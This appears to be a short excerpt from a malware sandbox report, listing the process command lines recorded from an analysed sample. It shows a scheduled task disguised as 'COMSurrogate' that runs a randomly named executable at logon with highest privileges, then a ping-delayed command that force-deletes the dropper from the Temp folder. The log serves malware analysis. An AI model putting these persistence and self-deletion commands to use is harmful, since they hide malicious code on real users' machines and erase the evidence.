schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn COMSurrogate /f /sc onlogon /rl highest /tr "C:\Users\test22\piloqua piwop lomel kamacon wiko yowehowi dahafi sivikidi miyex vonigo seyiya\denaf canic xijalo.exe"
2944denaf canic xijalo.exe "C:\Users\test22\piloqua piwop lomel kamacon wiko yowehowi dahafi sivikidi miyex vonigo seyiya\denaf canic xijalo.exe"
3016cmd.exe "C:\Windows\System32\cmd.exe" /c chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\test22\AppData\Local\Temp\1.exe"
3056